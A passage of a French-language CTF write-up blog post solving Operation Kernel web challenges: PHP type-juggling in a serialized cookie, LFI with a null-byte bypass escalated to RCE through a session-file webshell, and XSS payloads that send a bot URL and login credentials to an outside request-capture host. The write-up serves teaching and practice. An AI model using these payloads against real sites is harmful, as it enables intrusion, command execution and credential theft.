php > $remember["username"] = "Aku"; // login de l'admin
php > $remember["password"] = []; // strcmp("password_hash", []) == 0
php > $remember["role"] = true; // "secret_role" == true
php >
php > echo serialize($remember);
a:3:{s:8:"username";s:3:"Aku";s:8:"password";a:0:{}s:4:"role";b:1;}
On teste une dernière fois en actualisant la page :
Flag :
HACK{N3v3r_TrUsT_C0d3Ur_1nPuT}
▲ CCoffee (Difficile / 400 points)
Vous avez réussi à analyser le cryptolocker, ce dernier nous dirige vers un site qui semble être un command and control.
Malheureusement nous ne trouvons pas de trace des fichiers uploadés. La fonctionnalité d'upload a dû être désactivée, mais les fichiers sont certainement encore présents sur le serveur.
Il doit y avoir un moyen de les retrouver en exploitant les fonctionnalités du site.
Lien :
https://ccoffee.challenge.operation-kernel.fr/c2
CCoffee est uniquement accessible après avoir résolu le challenge Cryptolocker de type reverse. On y récupére d'ailleurs les identifiants bot / W0rk_1n_PR0GRs5
, prérequis indispensable pour résoudre CCoffee.
Quand on arrive sur https://ccoffee.challenge.operation-kernel.fr/c2
, on se connecte sur la partie C&C avec les identifiants trouvés précédemment.
Il n'y a pas grand chose à faire dans cette partie si ce n'est la possibilité de modifier son nom d'utilisateur.
Jusqu'à présent, nous étions sur la partie C&C en étant dans le dossier /c2
. Mais qu'y a-t-il à la racine du site ?
Le site vitrine d'un café parisien ! On se dit peut-être que c'est un site web légitime qui a été piraté et utilisé comme hébergement de la partie C&C du cryptolocker. En fouillant le site vitrine, on remarque deux choses intéressantes :
- on a deux cookies :
PHPSESSID
(classique, session générée par PHP) etstyle
(contient le nom du thème utilisé sur le site).PHPSESSID=sg5igg4chn1ljkhqf6v08c4gg0 style=business-casual
- la version PHP utilisée (date de 2010) est très vieille et divulguée grâce à l'entête serveur
X-Powered-By: PHP/5.2.17
En modifiant la valeur du cookie style
, la taille de la réponse du serveur web est significativement différente. Si le cookie vaut business-casual
, le contenu retourné a une taille de 9012 octets. Par contre quand il vaut chocolatine
(un thème qui n'existe pas), on a que 4486 octets !
La différence dans les réponses entre ces deux requêtes se situe dans la balise <style>...</style>
qui contient le style CSS du thème défini dans le cookie style
. De plus le code HTML commenté suivant nous aide à comprendre comment le thème est chargé :
<link href="css/business-casual_dark.min.css" rel="stylesheet">
On peut supposer que pour charger le style, l'application prend la valeur du cookie style
et récupère le contenu du fichier css/<valeur_style>.css
. On peut le confirmer immédiatement en mettant le cookie avec la valeur suivante : style=business-casual.min
.
Le résultat : une version minifiée du style business-casual
! Ça sent bon la LFI !
Petit problème : l'extension .css
est ajoutée à la fin du fichier à inclure, ce qui nous limite rapidement... Sauf que la version obsolète de PHP ici nous permet d'utiliser le nullbyte %00
pour écourter la chaine de caractère ! En mettant ../../etc/passwd%00
par exemple, on peut désormais charger le fichier en ignorant l'extension imposée par l'application.
Bon ok, on peut lire les fichiers qu'on souhaite sur le serveur web mais est-ce qu'on pourrait pas transformer la LFI en exécution de code (RCE) ?
Tout à fait, en utilisant la technique des fichiers de session PHP documentée ici.
Essayons d'inclure notre fichier de session et voir ce qu'il contient :
style=../../var/lib/php5/sess_sg5igg4chn1ljkhqf6v08c4gg0%00
Dans notre fichier de session, on retrouve notre nom d'utilisateur qu'on a modifié au tout début du challenge ! Si on injecte du code PHP dans notre nom d'utilisateur, on devrait être capable d'exécuter du code arbitraire.
En injectant notre mini webshell dans le nom d'utilisateur puis en incluant le fichier de session et en envoyant le paramètre GET /?0=ls -l
, on peut exécuter des commandes système sur le serveur !
Il ne reste qu'à trouver le flag grâce à la commande grep 'HACK{' -R .
:
Flag :
HACK{(NerverTrust)UserInput+LFI=RCE}
▲ Onion Kitten Part 1 (Avancée / 300 points)
Nous avons découvert un forum assez suspect dans les mails précedemment découverts. Trouvez un moyen de vous connecter et de récupérer les identifiants d'un utilisateur pour découvrir ce qu'il se trame.
Un chat est disponible, il est potentiellement vulnérable.
Il n'est pas utile d'usurper la session de l'utilisateur, nous avons besoin de son mot de passe !
Lien :
https://ia.challenge.operation-kernel.fr/
On arrive sur une application web traitant de sujets autour de l'intelligence artificielle.
Il y a 3 éléments principaux sur le site : un chat, des pages de discussion (inaccessibles sans authentification) et un formulaire de connexion.
D'après le synopsis du challenge, l'objectif serait de récupérer les identifiants d'un autre utilisateur du site... Cela ressemble beaucoup à un vol d'identifiants via une XSS ! Dans le chat, on voit que les données envoyées ne sont pas filtrées et permettent d'injecter du code HTML, dont du JavaScript.
<script>alert("Ceci est une XSS")</script>
Le message suivant fera afficher une popup JavaScript à toute personne qui lit le chat.
Nous allons utiliser le site https://requestbin.com/ pour exfiltrer des données grâce à notre XSS. Cela va nous permettre de vérifier que notre XSS est executée par d'autres utilisateurs. Dans un premier temps, le code suivant va juste tenter de charger une image sur notre domaine temporaire :
<img src="https://<censored>.x.pipedream.net/hellothere">
Quelques secondes plus tard, on reçoit bien une requête. On voit d'ailleurs dans l'entête Referrer qu'il s'agit probablement d'un bot en local car il utilise l'URL http://web1/
.
Comment réussir à voler des identifiants désormais ? En utilisant le formulaire de connexion !
On va forger une XSS qui modifiera la cible du formulaire d'authentification. Pour cela, on va demander au navigateur de charger l'image x
(qui n'existe pas) et si elle n'est pas trouvée, d'exécuter le code JavaScript dans l'évènement onerror
qui va mettre à jour le formulaire pour envoyer les identifiants vers notre domaine :
<img src=x onerror="document.getElementById('loginForm').action = 'https://<censored>.x.pipedream.net/stealcreds'">
En testant en local, on observe bien que le changement dans le DOM de mon navigateur avec cette payload :
Il ne reste plus qu'à espérer qu'un utilisateur s'authentifie sur le site web après avoir consulté le chat... Et c'est ce qui arrive peu de temps après !
Flag :
HACK{X5S_4_3V3r!!}
▲ Onion Kitten Part 2 (Avancée / 300 points)
Le site met en relation tout un groupe de criminel, il pourrait être intéressant d'avoir un compte administrateur du forum afin d'obtenir plus d'informations.
Visiblement l'admin s'est rendu compte que des utilisateurs usurpaient son bot pour obtenir plus de permissions ! Il a décidé de désactiver l'execution du javascript par ce dernier.
Lien :
https://ia.challenge.operation-kernel.fr
Maintenant qu'on peut se connecter sur le site https://ia.challenge.operation-kernel.fr/
, on a accès aux différentes discussions.
D'ailleurs, sur la discussion De la science-fiction pour piquer notre pognon, l'administrateur partage un lien vers un autre site : https://deathtoia.challenge.operation-kernel.fr/
.
Sur ce nouveau site, on peut soumettre un article qui pourrait être publié ultérieurement après vérification.
Après quelques tests, on remarque que le formulaire ne filtre pas les entrées utilisateurs et est également faillible aux XSS. En mettant la payload suivante dans le champ titre
, on peut récupérer l'URL du bot au moment de se faire piéger par notre XSS :
<img src="x" onerror="this.onerror=null;this.src='https://<censored>.x.pipedream.net/'+document.location.href;">
On reçoit dans la foulée le résultat sur notre domaine temporaire de requestsbin.com.
L'URI /articles?botpwd=3v6y5FVediVKpyaL9mKnZkVWCeEw&uid=62cc111d1c87f&isLogged=true
semble contenir les identifiants qui permettent au bot de se connecter sur le site.
Est-ce qu'on peut réutiliser cette information directement dans notre navigateur ?
On a désormais accès à la partie administration du site ! Lorsqu'on clique sur ce lien, il semblerait que seule la deuxième moitié du flag soit accessible. Où est-ce que pourrait être la première moitié ?
Sur l'autre site : https://ia.challenge.operation-kernel.fr/?botpwd=3v6y5FVediVKpyaL9mKnZkVWCeEw&uid=62cc111d1c87f&isLogged=true
On colle les deux morceaux et on se retrouve avec le flag final.
Flag :
HACK{X5S_+_C5Rf_Pwn_Th3m_4lL}
Note non technique
Ce challenge a également fait l'objet d'un gros travail artistique sur le texte avec un bel humour ! Cela change des Lorem Ipsum qu'on voit très souvent dans les CTFs. Aux scénaristes de ce challenge, sachez que j'ai tout lu (ou plutôt dévoré) !
Mentions spéciales pour le nom d'utilisateur "Anna-Lyse" ou encore la discussion "Go Save Hawking".
Le mot de la fin
Je pense que nous avons été nombreux à vraiment apprécier l'évènement. À toutes les personnes derrière cette organisation, merci pour ce travail de qualité ! Et si le Commandement des Opérations Spéciales réitère l'expérience l'année prochaine, vous pouvez compter sur moi.
Chez AlgoSecure, nous participons souvent aux CTFs (les derniers en date étaient le HeroCTF et LeHack). Mais saurez-vous nous retrouver dans les classements sous notre identité cachée ?
Bonne fête nationale du 14 juillet et rendez-vous au prochain CTF !
À propos : Le blog d'AlgoSecure est un espace sur lequel notre équipe toute entière peut s'exprimer. Notre personnel marketing et commercial vous donne des informations sur la vie et l'évolution de notre société spécialisée en sécurité sur Lyon. Nos consultants techniques, entre deux tests d'intrusion ou analyses de risque, vous donnent leur avis ainsi que des détails techniques sur l'exploitation d'une faille de sécurité informatique. Ils vous expliqueront également comment sécuriser votre système d'informations ou vos usages informatiques particuliers, avec autant de méthodologie et de pédagogie que possible. Vous souhaitez retrouver sur ce blog des informations spécifiques sur certains sujets techniques ? N'hésitez pas à nous en faire part via notre formulaire de contact, nous lirons vos idées avec attention. Laissez-vous guider par nos rédacteurs : Alexandre, Amine, Antonin, Arnaud, Benjamin, Enzo, Eugénie, Fabien, Françoise, Gilles, Jean-Charles, Jean-Philippe, Jonathan, Joël, Joëlie, Julien, Jéromine, Ludovic, Lyse, Nancy, Natacha, Nicolas, Pierre, PierreG, Sébastien, Tristan, Yann, et bonne visite !